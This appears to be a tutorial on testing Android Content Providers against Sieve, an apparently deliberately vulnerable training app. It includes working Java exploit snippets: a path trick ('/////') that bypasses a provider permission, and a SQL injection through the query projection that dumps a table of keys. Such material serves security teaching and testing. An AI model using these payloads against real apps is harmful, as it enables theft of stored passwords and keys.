Content Providers manage access to a structured set of data in Android applications. They encapsulate data and provide mechanisms for defining data security. They can be targeted for various vulnerabilities such as SQL Injection and Path-Traversal attacks.
Key Areas of Focus
Exported Content Providers
SQL Injection Vulnerabilities
Path-Traversal Vulnerabilities
1. Exported Content Providers
What to Look For:
Exported Providers: Check if the Content Provider is exported in the AndroidManifest.xml file. An exported provider can be accessed by other applications.
Permissions: Examine if the Content Provider is protected by permissions. If the protectionLevel is not set to signature, it might be circumvented.
Bypassing the custom user permission, because of the missing regex regarding to the PATH
Simply appending ///// at the end of our content URI will bypass it.
Code Exploit
Uri uri = Uri.parse("content://com.mwr.example.sieve.DBContentProvider/Keys/////");
Cursor queryCursor = getContentResolver().query(uri,null,null,null,null);
textView.setText("cursor " + DatabaseUtils.dumpCursorToString(queryCursor));
2. SQL Injection Vulnerabilities
Steps to Identify:
Check Query Methods: Look at the query method to see if user inputs are properly sanitized.
Identify Tables: Locate the tables used within the Content Provider by searching for content:// URIs in the code.
Example Code to Identify SQL Injection Points:
String selection = "SELECT * FROM users WHERE username = ?";
Cursor cursor = db.rawQuery(selection, new String[]{username});
Now we need to identify the tables in the Java code. We can look for the keyword βcontent://β.
Case 1
We need to query the Passwords table to insert our own SQL statement
SQL statement will be inserted via the projection
SQL syntax is sth like: SELECT * FROM Passwords WHERE ....
projection --> SELECT '* FROM Key--;' (ignored .... FROM Passwords WHERE)
Exploit
Uri uri = Uri.parse("content://com.mwr.example.sieve.DBContentProvider/Passwords");
String[] projection = new String[] {"* FROM KEY--;"};
Cursor queryCursor = getContentResolver().query(uri,projection,null,null,null);
textView.setText("cursor " + DatabaseUtils.dumpCursorToString(queryCursor));
Case 2
Granting the custom permissions of the sieve application to query the Key table.